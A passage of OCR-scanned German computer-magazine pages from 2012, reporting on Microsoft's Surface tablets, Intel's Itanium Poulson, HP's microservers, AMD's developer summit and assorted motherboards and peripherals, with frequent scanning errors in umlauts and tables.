ren Hardware entwickelt. Trotz-
dem Uberraschte er sein Publi-
kum in Los Angeles, als er nach
zehn Minuten endlich zur Sache
kam und zwei Microsoft-Tablets
enthiillte.

Nie hatte Microsoft auch nur
angedeutet, selbst Computer zu
bauen. Stets galt als undenkbar,
dass das Unternehmen seinen
besten Kunden, den Hardware-
Herstellern, Konkurrenz macht.
Glaubt man einem Bericht der
Agentur Reuters, informierte Mi-
crosoft seine Partner sogar erst
drei Tage vor der Prasentation.

Die Surface getauften Tablets
stellen also einen doppelten
Bruch dar: Mit Microsofts Tradi-
tion und mit Partnern wie Dell,
Acer, Lenovo & Co. Darlber kén-
nen auch Ballmers Verweise auf
Maus, Xbox und Kinect nicht hin-
wegtduschen. Gleichzeitig ste-
hen die Tablets fiir eine span-
nende Alternative zu Apples
iPad, das den Tablet-Markt immer
noch dominiert. Die bisherigen

Windows-Tablets sind schlief3-
lich gefloppt, und auch die meis-
ten Android-Tablets enttdusch-
ten.

Was Microsoft in Los Angeles
zeigte, wirkt durchaus innovativ.
Vor allem fur die Gehause und
das Zubehor bekamen die Ent-
wickler aus Redmond Lob von
den anwesenden Journalisten.

Schutzhiillen zum Tippen

Microsoft hat zwei Schutzhillen
entwickelt, die magnetisch an
den Tablets haften. Aufgeklappt
dienen sie als Tastatur samt
Touchpad. Die drei Millimeter
dinne ,Touch Cover“-Variante
hat eine aufgedruckte Tastatur.
Tippt man darauf, erkennen Sen-
soren die Berlhrungen. Damit
soll eine doppelt so hohe
Schreibgeschwindigkeit wie auf
Glas moglich sein — ausprobie-
ren durfte das noch keiner.

Beim funf Millimeter dicken
,Type Cover” gibt es bewegliche
Tasten und damit angeblich ein
dhnliches Schreibgefuhl wie auf
einer richtigen Tastatur. Be-
schleunigungssensoren sollen er-
kennen, wenn die Cover zuriick-

Surfacefor Windows RT Surface for Windows 8 Pro
Betriebssystem Windows RT Windows 8 Pro
Prozessor / Architektur Nvidia Tegra 3/ ARM Intel Core i5/ x86
Gewicht / Dicke 6769/ 9mm 9039/ 14 mm
Display-Diagonale /-Format / 10,6 Zoll, 16:9, HD-Aufldsung 10,6 Zoll, 16:9, Full-HD
-Auflosung (nicht naher spezifiziert) (1920 x 1080 Bildpunkte)
Speicher 32 oder 64 GByte 64 oder 128 GByte
Akkukapazitat 31,5Wh 42Wh

Schnittstellen

Besonderheiten

microSDHC, USB 2.0, Micro-HDMI,
WLAN

Office-App, Schutzhiillen mit
Tastatur, ausklappbarer Standfuf

Metro-Apps / Windows-Software v/ / =

v/ Vv anden
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- nicht vorhan n

microSDXC, USB 3.0, Mini-Display-
Port, WLAN

Schutzhiillen mit Tastatur, aus-
klappbarer Standfug, Stiftfunktion
mit Handballenerkennung

viv

geschlagen werden. So will Mi-
crosoft unerwiinschte Eingaben
beim Halten des Gerates verhin-
dern.

Die Gehéduse sind aus einer
Magnesium-Legierung gefertigt
und wirken solide. Sinnvoll er-
scheint der im Gehduse inte-
grierte Standfuf3, der sich bei Be-
darf ausklappen lasst.

Einen schlechteren Eindruck
hinterlieB die Software: Eins der
Vorfuhrgerdte fror wahrend der
Prasentation ein, sodass Win-
dows-Chef Steven Sinofsky pein-
licherweise auf ein Ersatzgerat
ausweichen musste. Die an-
wesenden Journalisten durften
zwar die Gehause und das Zube-
hér in Augenschein nehmen,
eingeschaltete Tablets aber nur
wenige Sekunden in den Hén-
den halten. Offenbar muss Mi-
crosoft das Zusammenspiel zwi-
schen der neuen Hardware und
Windows 8 noch verbessern. Auf
bereits erhéltlichen Tablets lauft
die aktuelle Vorabversion von
Windows 8 stabil.

ARM- und Intel-Versionen

Microsoft plant zwei Tablet-
Typen: Erstens das ,Surface fir
Windows RT” mit ARM-Prozes-
sor, das ungefdhr so dick und
schwer ist wie Apples aktuelles
iPad, aber ein viel niedriger auf-
gelostes Display hat. Zweitens
das fast ein Kilogramm schwere
,Surface Pro” mit Core-i5-CPU
von Intel und hochauflésendem
Display (siehe Tabelle).

Unter Windows RT laufen aus-
schlieBlich Metro-Apps - wie
viele es davon bis zum Verkaufs-
start geben wird, ist unklar. Auf
dem Surface Pro wird ein norma-
les Windows 8 in der Pro-Varian-
te installiert sein, das samtliche

Windows-Programme ausfiihren
kann. Leistungsmafig soll das
Pro-Modell den ,besten bisher
angekiindigten Ultrabooks” Kon-
kurrenz machen, versprach Mi-
crosoft.

Der Vertrieb soll tuber Micro-
soft-Laden in den USA und aus-
gewdhlte Online-Shops laufen.
Das Windows-RT-Tablet will Mi-
crosoft zeitgleich mit Windows 8
in den Handel bringen, also
voraussichtlich im Herbst. Die
Intel-Variante soll erst drei Mo-
nate spater folgen. Ob die Gera-
te auBerhalb der USA verkauft
werden sollen, verriet Ballmer
nicht.

Zu den Preisen sagte er nur,
dass diese ,konkurrenzféhig”
sein wurden. Die taiwanische
Nachrichtenseite Digitimes will
aus der Fertigungsindustrie er-
fahren haben, dass das Surface-
Modell mit ARM-Prozessor und
32 GByte uber 600 US-Dollar
kosten soll, also etwas mehr als
ein iPad 3 mit ebenso viel Spei-
cher. Die Variante mit einem
Intel-Chip soll laut Digitimes
Uber 800 US-Dollar kosten. Die
Fertigung Ubernehme das tai-
wanische Unternehmen Pega-
tron.

Die am meisten diskutierte
Frage nach der Veranstaltung
war jedoch eine andere: Warum
bringt  Microsoft jetzt eigene
Hardware? Manche Beobachter
glauben, dass die Surface-Tab-
lets nur als Vorzeigegerate die-
nen, von denen Microsoft gar
nicht so viele verkaufen mochte.
Es ist aber auch nicht auszu-
schlieen, dass Microsoft seinen
Partnern ernsthaft Konkurrenz
machen will. Ballmer sagte nur
so viel: Surface soll den Markt flr
Windows 8 ,in Schwung brin-

gen”. (cwo)
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aktuell | Prozessoren

Andreas Stiller

Prozessorgefliister

Von Unkorrektem und Unfairem

Wahrend Intel den Coprozessor Xeon Phi mit viel Tamtam auf der ISC12 vor-
stellte, wird der wahrscheinlich vorletzte Mohikaner der Itanium-Linie ganz
stiekum herausgebracht, der Poulson. Selbst Itanium-Partner Hewlett-Packard
schaut inzwischen verstérkt in die andere Richtung zu den Mikroservern.

a rechnen moderne Supercomputer

Trilliarden von Gleitkommaoperationen
(siehe S. 68) — und es drangt sich die Frage auf,
wie zuverldssig das Ergebnis tiberhaupt noch
sein kann. Abgesehen von moglichen Soft Er-
rors grabt man hier tief im Dunkeln, denn die
Rechnungen mit der Ublichen Rechengenau-
igkeit in doppelter Genauigkeit von gerade
mal 53 Bit fur die Mantisse laufen inzwischen
viel hdufiger aus dem Ruder, als viele Anwen-
der glauben. Wackelt bei den Berechnungen
jeweils auch nur das letzte Bit, so kann sich
das je nach Stabilitat des Algorithmus schnell

aufschaukeln und irgendwann vélligen Un--

sinn ergeben. Und das gilt umso stérker, seit
etwa die x86-Prozessoren nicht mehr die FPU
mit ihrem internen 80-Bit-Datenformat nut-
zen, sondern die weit weniger prazisen SIMD-
Einheiten.

Schon 1989 hat das Standardisierungs-
komitee IEEE ein Format fiir 128 Bit Gleitkom-
ma (112 Bit Mantisse) eingeflihrt, das manche
Compiler durchaus unterstitzen, zum Teil
kénnen sie sogar automatisch Double Preci-
sion in Quad Precision uminterpretieren (Flag
-r16 beiIntel Fortan). Aber damit lduft alles so
furchtbar langsam - und so macht das kaum
einer. Dabei hatten die Prozessorfirmen ho-
here Prazision oder Intervallarithmetik als Op-
tion schon langst in ihre SSE-, AVX- oder sons-
tigen Einheiten einbauen kénnen - wollen sie
aber offenbar nicht. Nur wenn die Finanzwelt
Uber falsch gerundete Mikrodollars mosert,
dann rihrt sich was — zumindest bei IBM, wo
das dezimale Gleitkommaformat seit Power 6
und z6 zum Standard gehort. Intel hat hierzu
zwar leistungsfahige Bibliotheken im Ange-
bot, aber da hatte man auch schon mal eine
fixe Hardware erwartet, etwa fiir den neuen
[tanium Poulson, wo der doch ohnehin mit
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vielen neuen Funktionseinheiten und Befeh-
len aufwarten kann.

Derweil sind die ersten Poulson-Prozesso-
ren zwar noch nicht in freier Wildbahn, aber
mit Produktbezeichnung und Takt bei den
Product Change Notifications sowie in der
MDDS-Datenbank von Intel aufgetaucht. Vier
Produktversionen sind neben zahlreichen
Testversionen unter Poulson-8 aufgelistet, als
Schnellster geht der Itanium 9560 (SROT1) mit
2,53 GHz ins Rennen - und das mit 8 Kernen
und 32 MByte L3-Cache. Der bislang leis-
tungsfahigste Itanium, der Tukwilla-9350,
besal} vier Kerne bei 1,73 GHz Takt, allein das
bringt schon einen Performancezuwachs von
fast Faktor 3. Hinzu kommt die verdoppelte
Breite von zwei auf bis zu vier gleichzeitig
ausfuhrbaren Befehlsbindeln. Der Poulson
kommt damit theoretisch auf bis zu zwolf In-
struktionen pro Takt — das schafft sonst kei-
ner. Bei entsprechend optimierter Software
legt Poulson damit nochmals bis zu Faktor 2
drauf.

Schubkarren zum Mond

Obwohl der Poulson auch ganz erhebliche
Verbesserungen in der Energieeffizienz mit-
bringt, kann er in bestimmten Aufgaben-
gebieten mit anderen Datentransportern
nicht mithalten: Viele Schubkarren haben
eben auch zuweilen klare Vorteile gegen-
Uber einem schweren Lastwagen. Zu den
Schubkarrenservern gehort Hewlett-Pack-
ards Pilotprojekt Moonshot, ein Konzept fur
hocheffiziente Mikroserver mit vielen kleinen
Rechenknoten, die sich samtliche Ressour-
cen teilen; gedacht flr dedizierte Webserver,
Content-Auslieferung, Data Analytics mit
dem aktuellen Trendsetter Apache Hadoop

In bewdhrter 32-nm-
Technik und bei 2,53 GHz
Takt theoretisch bis zu
sechsmal schneller als
sein Vorganger: Der
totgesagte Itanium dreht
mit Poulson noch mal
richtig auf.

und Ahnliches mehr. Das erste im Herbst
2011 angekiindigte Raumfahrtprojekt lauft
unter dem Namen Redstone. Hierbei arbeitet
HP mit dem Start-up Calxeda zusammen, das
eine Steckkarte mit vier Calxeda-SoCs na-
mens ,Energy Core ECX-1000" designt hat,
ein jeder versehen mit vier ARM-A9-Kernen.
Laut HP soll die Moonshot-Architektur im
Vergleich zu den gro3en x86-Servern 94 Pro-
zent weniger Platz und 89 Prozent weniger
Energie benotigen sowie 63 Prozent weniger
Kosten verursachen.

Doch die Redstone-Rakete hat die Start-
rampe noch gar nicht verlassen und schon hat
HP die nachste Runde eingelautet: das Projekt
Gemini. Partner ist hierbei Intel, der mit dem
auf dem IDF in Peking angekiindigten Dual-
Core-Atom Centerton den ARM-Prozessoren
Paroli bieten will - und wahrscheinlich auch
kann. Centerton, der in der zweiten Jahres-
halfte 2012 herauskommen soll, ist fiir eine
TDP von nur 6 Watt ausgelegt. Intel will nun
zusammen mit HP eine spezielle Cartridge mit
einer noch unbekannten Anzahl von Center-
ton-Prozessoren fir HPs Mikroserverfamilie
konstruieren. Betont werden hierbei immer
schone Features wie Virtualisierung und 64 Bit
- etwas, womit ARM derzeit noch nicht auf-
warten kann.

Das Start-up Calxeda, an dem ARMmit etwa
20 Prozent beteiligt ist, hat die ersten laufen-
den Systeme im Mai auf dem Ubuntu Devel-
oper Summit und nun auf der ISC12 unter
Ubuntu 12.04 vorgefihrt. Und nicht nur HP,
sondern auch Supermicro will mit entspre-
chenden Calxeda-Mikroservern aufwarten.
Frech hat inzwischen das kleine Unternehmen
mit einem etwas schragen Benchmark-Ver-
gleich auf sich aufmerksam gemacht: 15 Mal
bessere Energieeffizienz beim ApacheBench
als ein Xeon-E3-1240-System soll ihr 5-Watt-
Webserver bei 1,1 GHz Takt bieten. 4 GByte
Speicher hier, 16 GByte da, gemessene Watt
hier, TDP-Berechnung da, Volllast hier, nur 15
Prozent CPU-Last da - das eroffnet viele An-
griffspunkte, aber letztlich diirfte bei einem fai-
reren Vergleich wohl immer noch etwa Fak-
tor 5 Ubrig bleiben. Aber der Vergleich hinkt
trotzdem, spannend wird es erst, wenn der
Centerton in diesen Wettkampf eingreift.

ARM gegen x86 - diesen Dauerkonflikt hat
auch Linux-Schopfer Linus Torvalds zum Teil
mit recht drastischen Kommentaren begleitet.
Nun hat er sich Gber Nvidia aufgeregt und
scheute sich nicht, in bester Effenberg-Manier
den Stinkefinger einzusetzen und ,fuck you,
Nvidia“ zu skandieren. Nvidia ist zwar im Frih-
jahr der Linux Foundation beigetreten, verhalt
sich aber recht zugekndpft, was die Offen-
legung von Linux-Treibern, etwa fur die Hy-
bridgrafiktechnik Optimus, angeht - wer
weil}, vielleicht sind da auch irgendwelche
verletzten Patente im Spiel, sodass die Quel-
len aus gutem Grunde unter Verschluss sind.
Nebojsa Novakovi¢ von Bright Side of News
meint jedenfalls erfahren zu haben, dass Nvi-
dias Verschlossenheit einen Riesen-Deal in
China mit 10 Millionen Schul-PCs vermasselt
habe. Den soll jetzt AMD eingeheimst haben
- und die kdnnen ihn gut gebrauchen.  (as)
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aktuell | AFDS 2012

Martin Fischer

ARM dran

AMD Fusion Developer Summit 2012

Auf seiner Entwicklerkonferenz gab AMD einen Ausblick
auf erste Kombiprozessoren, in denen auch ARM-Kerne
werkeln. AuBerdem kiindigte die Firma die Griindung
eines Industriekonsortiums an, mit dem sie das HSA-
Konzept weiterbringen will: hybride Prozessoren fiir
unterschiedliche Anwendungsbereiche.

Bellevue heiBt das Stadtchen
sechzehn Kilometer 6stlich
von Seattle, in dem AMD rund
750 Fachbesucher zu seiner
zweiten  Entwicklerkonferenz
Fusion Developer Summit 2012
(AFDS) begriBte. Darunter be-
fanden sich auch zahlreiche
extravon AMD aus aller Welt ein-
geflogene Journalisten, die folg-
lich mit grof3en Erwartungen auf
die Konferenz blickten. Schlie3-
lich wollte AMD weitere Details
zur Heterogeneous Systems Ar-
chitecture (HSA) veréffentlichen.

Das langfristige Ziel: mehr
Programme, die moderne Kom-
biprozessoren - kurz APUs ge-
nannt — ausnutzen. Idealerweise
verteilen optimierte Programme
die Berechnungen wahrend der
Laufzeit auf die CPU- und GPU-
Kerne. Das soll zu hoherer Per-
formance und zugleich geringe-
rer Leistungsaufnahme fiihren —
also mehr Effizienz. AMD will
Entwicklern deshalb einheitliche
Hard- und Software-Spezifikatio-
nen an die Hand geben, um pas-
sende Software zu entwickeln.
So kénnen etwa CPU-Kerne be-
stimmte Single-Thread-Berech-
nungen in einem Programm
Ubernehmen, wahrend die GPU-
Kerne ihre hohe Gleitkomma-
Rechenleistung bei geeigneten
Aufgaben beisteuern. Gabe es
gentigend solcher Programme,
hatte AMD schlagkréftige Ver-
kaufsargumente flr seine Kom-
biprozessoren, deren GPUs zwar
ordentlich was leisten, wahrend
ihre CPUs aber der Intel-Kon-
kurrenz meilenweit hinterher-
hinken.

AMDs Problem: Bis dato ma-
chen die laut IDC rund 100 000
GPU-Programmierer nur einen
Bruchteil der reinen CPU-Coder
aus (Uber 10 Millionen). Das spie-
gele sich laut Adobes Vize-
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prasident und Chefarchitekt Tom
Malloy auch in der Zahl der ange-
passten Programme wider: Aber-
millionen von CPU-Anwendun-
gen stehen nur rund 200 Kandi-
daten gegeniber, die Vorteile
aus der GPU-Beschleunigung zie-
hen. Laut AMD-Statistik sieht es
sogar noch dusterer aus. Offiziell
spricht die Firma von einem An-
stieg der von Kombiprozessoren
profitierenden Anwendungen
von 26 (2011) auf 60 (2012).
Schaut man sich jedoch die der
Kalkulation zugrunde liegenden
Programme an, kehrt schnell Er-
nuchterung ein. So differenziert
AMD zum einen nicht zwischen
GPGPU-, Render- und Streaming-
Aufgaben und fiihrt auch einige
Spiele in der Liste mit auf. Zum
anderen ist es fraglich, beispiels-
weise Adobes Flash Player, den
VLC Media Player oder Mozillas
Firefox-Browser im Jahr 2012 als
neues HSA-fahiges ,Programm”
zu verkaufen. Die funktionieren
naturlich problemlos ohne AMD-

Hardware. Das zeigt: Das Unter-
nehmen versucht krampfhaft,
Argumente flr seine Kombi-
prozessoren zu finden.

Diese Situation will AMD mit
dem HSA-Konzept éndern - in
einer von Intel dominierten CPU-
Welt ein wahrlich ehrgeiziges
Ziel. Die im Dezember 2011 vom
selbst erst seit August amtieren-
den CEO Rory Read personlich
eingestellte Lisa Su unterstrich
AMDs Linie wéhrend ihrer AFDS-
Er6ffnungsprasentation lautstark:
.We bet the company on APUs" -
das klingt nach alles oder nichts.
Umso bedenklicher, dass AMD
auf dem AFDS 2012 entgegen
den Erwartungen keine finale
HSA-Software-Spezifikationen vor-
weisen konnte, eine Fragerunde
kurzfristig absagte und sich Rory
Read nicht personlich blicken
lieB.

Kernfusion

Corporate Fellow Phil Rogers
kindigte die Griindung der HSA
Foundation an, von der man be-
reits beim Financial Analyst Day
im Februar horte. Neu war, dass
neben AMD auch die SoC-
Schwergewichte ARM, Imagi-
nation Technologies, MediaTek
und Texas Instruments als Griin-
dungsmitglieder dabei sind.

In Zukunft wird AMD also
allerlei Einheiten fremder Her-
steller auf die APUs bringen, die
Spezialfunktionen bereitstellen.
Eine erste Ankiindigung gab es
bereits in Bellevue: So plant AMD
Ende 2013 bestimmte APUs mit
integrierten Cortex-A5-Kernen
von ARM zu bestiicken. Sie sol-
len aber nicht etwa bei bestimm-

Weniger Fachbesucher als erwartet lockte AMD zur AFDS 2012:
Mit 1000 Teilnehmern rechnete die Firma, rund 750 kamen.

AMDs Senior Vice President
Lisa Su: ,We bet the company
on APUs.”

ten CPU-Berechnungen das
Ruder Ubernehmen, sondern
lediglich die Sicherheitserweite-
rung TrustZone bereitstellen. Be-
sonders sensibler Code, etwa bei
der Online-Banking-Authentifi-
zierung oder bei der digitalen
Rechteverwaltung (DRM), lduft
dann abgekapselt von den x86-
Prozessoren auf dem ARM-Kern
und wird vor fremden Zugriffen
hardwareseitig geschutzt. An-
kiindigungen zu weiteren Spe-
zial-Cores gab es nicht, denkbar
sind aber beispielsweise auch
Medienprozessoren fir beson-
ders rechenintensive Soundfor-
mate, etwa dem multidimensio-
nalen Raumklang (MDA). Es mag
also kein Zufall gewesen sein,
dass der Cheftechniker Alan
Kraemer von SRS Labs sein Mul-
tidimensional Audio sogar auf
einer Keynote-Prasentation lang
und breit erklaren durfte.

Fiir Profis

AuBerdem kindigte AMD zwei
zu PCl Express 3.0 kompatible
FirePro-Profikarten an, die beide
auf die Graphics-Core-Next-Ar-
chitektur setzen: FirePro W600
und FirePro W9000. Die W600
steuert bis zu sechs Bildschirme
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via Mini-DisplayPort gleichzeitig
an und ist fur grofle Display-
Wande gedacht. Sie schafft auch
4K-Auflésungen mit  bis zu
4096 x 2304 Pixeln (30 Bit,
60 Hz). Technisch unterstiitzt sie
maximal eine zusammengefass-
te Aufldsung von 16K x 16K Bild-
punkten. Gehen die Displays in
den Standby-Modus, schaltet
sich die Grafikkarte nahezu kom-
plett ab, auch der Lufter hort
dann auf zu drehen. Unter Last
darf die Karte maximal 75 Watt
schlucken. Sie speist sich folglich
exklusiv aus dem PCle-Steck-
platz.

Dank ihres flachen Ein-Lufter-
Kihlsystems belegt die rund 600
US-Dollar teure FirePro W600
nur einen Steckplatz und passt
daher auch in viele kompakte
Gehause. Ihr Grafikchip ist zu Di-
rectX 11.1 und OpenGL 4.2 kom-
patibel und greift auf 2 GByte
GDDRS5-Speicher zu. Dank der
UVD-3-Videoeinheit lassen sich
zwei Full-HD-Videos gleichzeitig
dekodieren.

Als leistungsfahige Worksta-
tion-Karte fir CAD- und DCC-An-
wendungen fungiert die W9000,
eine von der Radeon HD 7970
abgeleitete Variante mit 1 GHz
Taktfrequenz, die rund 4 Billio-
nen  Gleitkommaoperationen
pro Sekunde (TFlops) schafft —
fast so viel wie Nvidias Rechen-
karte Tesla K10 mit zwei GPUs
(4,58 TFlops). Bei doppeltgenau-
en Berechnungen erreicht die
W9000 1 TFlops.

Die FirePro W9000 steuert
Uber vier DisplayPort-Ausgange
ebenso viele Bildschirme gleich-
zeitig an und bringt auch einen
Anschluss fur 3D-Stereo-Brillen
mit. lhre Tahiti-GPU kommuni-

Mark Papermaster kiindigte die Profi-Grafikkarte FirePro
W9000 an, hielt aber die falsche Karte in die Luft.

ziert Uber 384 Datenleitungen
mit dem 6 GByte fassenden Spei-
cher - der bietet auch Platz fir
sehr feine 3D-Modelle und Tex-
turen. Wann aber die FirePro
W9000 herauskommt und wie
viel sie kosten wird, lie CTO
Mark Papermaster, der wahrend
der Prasentation die falsche
Karte hochhielt, offen. Weitere
Details zur W9000 will AMD erst
zur Anfang August in Los Ange-
les stattfindenden Siggraph-
Konferenz bekanntgeben.

Doch auch im Consumer-Seg-
ment hatte AMD eine Ankundi-
gung in petto: eine aufgebohrte
Radeon HD 7970, die Nvidias Ge-
Force GTX 680 Uberholen soll.
Dieneue ,GHz Edition” lduft, wie
es der Name vermuten ldsst, mit
1,0 GHz und damit 75 MHz
schneller als die Standard-Ver-
sion. Zudem spendiert ihr AMD
eine Turbo-Funktion, welche die

Die fiur Display-Wande gedachte FirePro W600 steuert
bis zu sechs Bildschirme gleichzeitig an.
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Taktfrequenz der Shader-Re-
chenkerne und Textureinheiten
je nach Auslastung auf bis zu
1,05 GHz anheben kann. Den
3 GByte fassenden GDDRS5-Spei-
cher lasst AMD mit 3000 statt
2750 MHz laufen. Insgesamt ar-
beitet die GHz Edition rund
10 Prozent schnellerals eine nor-
male Radeon HD 7970. Neuigkei-
ten von der schon lang erwarte-

aktuell | AFDS 2012

ten Dual-GPU-Karte Radeon HD
7990 gab es von AMD nicht zu
horen. Gertichten zufolge soll es
schlicht an genlgend Switch-
Chips fehlen, die PCle 3.0 beherr-
schen.

SchlieBlich lieB Mark Paper-
master noch einen Blick auf die
erweiterte Roadmap der kinf-
tigen 28-Nanometer-Chips fir
2013 zu. So soll der Trinity-Nach-
folger Kaveri mit seinen vier Ste-
amroller-Kernen und einer Gra-
phics-Core-Next-Grafikeinheit je
nach Modell zwischen 15 und 35
Watt schlucken (TDP). Kaveri ist
fur Notebooks mit einer Bild-
schirmdiagonalen von 13,3 bis
15,5 Zoll und einer maximalen
Dicke von 2,1 Zentimetern ge-
dacht. Die kleinere APU Kabini
(4 Jaguar-Kerne) soll in glinsti-
gere Notebooks (11,6 bis 15,6
Zoll), verheizt zwischen 9 und
25 Watt und soll die Anfang Juni
2012 angekindigte Brazos-2.0-
Plattform ablésen. Im Ultra-Low-
Power-Segment plant AMD die
Temash-APU mit einer TDP zwi-
schen 3,6 und 5,9 Watt und bis
zu vier Jaguar-CPU-Kernen. Sie
folgt der noch nicht erhéltlichen
Hondo-APU, welche auf Win-
dows-8-Tablets zielt. (mfi)

Kommentar: Fauler Zauber

Die HSA Foundation soll ein-
heitliche Hard- und Software-
Spezifikationen erarbeiten und
damit ein Fundament fur die
APU-Idee legen: Kombiprozes-
soren, in denen auch die GPU
an Alltags-Software mitrechnet.
Ein paar hochkardtige Firmen
hat AMD fur die Foundation ge-
winnen kdénnen. Fur die Hard-
ware hat AMD vor geraumer
Zeit eine Roadmap vorgelegt
und stellt einen gemeinsamen
Adressraum und andere HSA-
Funktionen in Aussicht. Die Spe-
zifikation der HSA Software Sys-
tems Architecture und das HSA-
Programmierhandbuch  sind
aber nicht fertig. Potenzielle
Kaufer dirfte das alles wenig in-
teressieren. Sie suchen Grinde,
warum sie trotz schlechter CPU-
Leistung zur APU greifen sollen.
Und genau da kommt AMD der-
zeit ins Stottern.

Video-Dekodierung packen
auch Intels Kombiprozessoren
locker und selbst ohne GPU
laufen 4K-Videos auf aktuellen

CPUs problemlos. Fir an-
spruchsvolle Spiele in zeitge-
maBer Full-HD-Auflésung sind
integrierte Grafikeinheiten wei-
terhin zu schwach. AuBerdem
ist man bei manch einem Titel
wie Battlefield 3 auf sehr gro-
Ben 64-Spieler-Karten auf wirk-
lich leistungsfahige CPUs ange-
wiesen.

AMD tut sich keinen Gefallen
damit, Vorteile in bunten Pra-
sentationen herbeizutricksen.
Render-, Rechen- und Strea-
ming-Funktionen werden irre-
fuhrend in einen Topf gewor-
fen, olle Kamellen wie der Flash
Player oder Direct2D in Firefox
als Neuheiten verkauft. Das ist
lacherlich und traurig zugleich
- und sagt vieles Uber den
Status Quo des APU-Projekts.
Ich habe noch kein zwingen-
des Argument fir einen APU-
Kombiprozessor der Marke Tri-
nity oder Llano gehoért, AMD
kann also weiterhin nur an der
Preisschraube drehen.

(Martin Fischer)
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Serverboard im
Mini-ITX-Format

Schon seit einigen

Wochen liefert Intel die
Prozessoren der Familie Xeon
E3-1200V2 fur Server und Work-
stations mit einer CPU-Fassung
aus. Sie entsprechen weitgehend
den aktuellen Desktop-PC-Pro-
zessoren Core i5-3000 und Core
i7-3000 mit ,lvy Bridge"-Innen-
leben: Diese 22-nm-Chips sind
kompakter und unter Volllast effi-
zienter als ihre 32-nm-Vorgéanger
(Sandy Bridge). Mitglieder der
Serie Xeon E3-1200V2 laufen
nach einem BIOS-Update auch
auf bisherigen LGA1155-Main-
boards mit einem der Chipsatze
€202, C204 oder C216.

Von den E3-Xeons gibt es spar-
samere Versionen mit gedrossel-
ter Taktfrequenz, die ein ,L” im
Namen tragen, etwa 45-Watt-Ver-
sionen mit vier Kernen wie den
Xeon E3-1265LV2 (2,5 GHz,
Turbo: 3,5 GHz) und den 17-Watt-
Doppelkern Xeon E3-1220LV2
(2,3/3,5 GHz). Letzterer kostet
knapp 200 Euro, ersterer rund
300 Euro. Endet die vierstellige
Zahl in der Typenbezeichnung
mit der Ziffer 5, so ist auch der
Grafikprozessor aktiv.

Ein Xeon E3 mit GPU ist die
optimale Bestlickung fir das
Intel-Serverboard S1200KP im
kompakten Mini-ITX-Format. An-
ders als viele typische Server-
boards besitzt es namlich keinen
separaten PCle-Grafikchip, son-
dern bloB3 eine DVI-I-Buchse, um
die integrierte CPU-Grafik zu nut-
zen. Mit dem erwdhnten Xeon

Intel S1200KP: besonders
kompaktes Server-Mainboard
fur einen Xeon E3-1200 und
maximal 16 GByte RAM

E3-1220LV2 muss man also auf
einen Monitor verzichten oder
eine Grafikkarte in den PCle-x16-
Steckplatz einsetzen, was die
Energieeffizienz verschlechtert.

Laut Intel sind erst die neueren
Versionen des S1200KP mit der
SKU-Bezeichnung DBS1200KPR
Ivy-Bridge-tauglich. Das Board ist
mit dem Chipsatz C206 bestiickt,
der anders als seine aktuellen
Verwandten aus der Serie 7 zwar
kein USB 3.0 bietet, aber die Nut-
zung von ECC-Speicher erlaubt.
Auf dem C206 kann dann auch
ein vergleichsweise billiger Core
i3-2000 mit dem RAM-Fehler-
schutz arbeiten - als Quad-Cores
mussen aber Xeons zum Einsatz
kommen, Core i5 oder i7 funktio-
nieren nicht.

Wegen der begrenzten Plati-
nenflache stehen nur zwei DIMM-
Slots und vier SATA-Ports bereit,
von letzteren sind zwei SATA-6G-
tauglich. Intel I6tet auch zwei Gi-
gabit-Ethernet-Chips (82574 und
82579) aufs Board, das fiir rund
150 Euro erhdltlich ist. (ciw)

Netzteile fiir Anspruchsvolle

Listan hat seine auf Gamer und
Ubertakter ausgerichtete High-
End-Netzteilserie be-quiet! Dark
Power Pro Uberarbeitet: Die aktu-
elle Version P10 liefert zwischen
550 und 1200 Watt und lockt
schon beim kleinsten Modell mit
tiberdurchschnittlich vielen An-
schlissen (2x EPS12V, 5x PCle,
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9x SATA, 6x 5,25-Zoll-Laufwerke,
1x Floppy). Die Wandler sollen
zudem besonders leise und effi-
zient arbeiten, ndmlich mit bis zu
93 Prozent Wirkungsgrad. Aller-
dings ist auch der Preis Spitze:
Schon das leistungsmaRig kleins-
te Netzteil kostet im Einzelhandel
rund 115 Euro. (ed)

Listans Dark
Power Pro P10
liefert zwischen
550 und 1200 Watt
mit hoher Effizienz.

Mini-Board versorgt drei Displays

Bis zu drei digitale Displays steu-
ert das Mainboard Mano111 von
Axiomtek gleichzeitig an. Die
Monitore lassen sich wahlweise
per DVI-D oder Displayport an-
schlieBen, wofir je zwei Buchsen
vorhanden sind. Alternativ gibt
es noch ein 24-Bit-LVDS-Interface
(Dual-Channel). Die notige Gra-
fik-Performance liefert ein Tri-
nity-Prozessor (im AMD-Jargon
+APU") aus der R-Baureihe von
AMD, den die Fassung FS1r2 auf-
nimmt. Weder CPU-Kuhler noch
CPU gehoren zum Lieferumfang
der Mini-ITX-Platine mit 17 Zenti-
metern Kantenldange. Der A75-
Chipsatz versorgt je vier SATA-

Axiomtek pflastert
das Mini-ITX-
Mainboard fur
AMD-APUs der
Serie R mit
Schnittstellen.

6G- und USB-3.0-Ports, wahrend
die beiden Gigabit-Ethernet-
Buchsen uber PCle-Chips ange-
bunden sind. Vier serielle Schnitt-
stellen, diverse USB-2.0-Ports, ein
TPMund ein Steckplatz fir CFast-
Karten runden die Ausstattung
ab. Fur Erweiterungen gibt es
einen klassischen PCI-Steckplatz,
eine Fassung fur eine PCle Mini
Card und einen SIM-Kartenslot
fur UMTS. Eigene Schaltungen
kann man Uber je vier digitale
Ein- und Ausgange (GPIO) an-
sprechen. Ein Watchdog-Timer
Uberwacht den Betrieb. Das ab
September erhéltliche Mano111
soll 318 Euro kosten. (bbe)

Lange USB-3.0-Verbindung

Uber bis zu 100 Meter Distanz soll
der Ranger 3144 von Icron USB-
3.0-Signale leiten. Zwischen den
beiden Boxen kommen optische
Kabel zum Einsatz. Die sorgen ne-
benbei fir elektrische Isolation.
Allerdings ist laut Icron die maxi-
male Distanz nur in Verbindung
mit bestimmten Gerdten und
Hosts erreichbar. Das Datenblatt
spricht daher nur von 50 Metern.

Sollte das zuverlassig funktionie-
ren, ware es eine gewaltige Stei-
gerung gegenlber dem, was
elektrische Kabel schaffen. In un-
seren Experimenten stieen wir
ab 10 Metern selbst mit aktiven
Kabeln auf zahlreiche Probleme.
Einen Preis flr das Extender-Par-
chen und die passenden Lichtlei-
ter wollte Icron auf Nachfrage
(noch) nicht nennen. (bbe)

Je nach Lesart soll der Ranger 3144 USB-3.0-Gerate liber
Distanzen von 50 oder 100 Metern mit dem PC verbinden.

Sechsachser

Freescale vereint im Xtrinsic
FX0OS8700CQ Beschleunigungs-
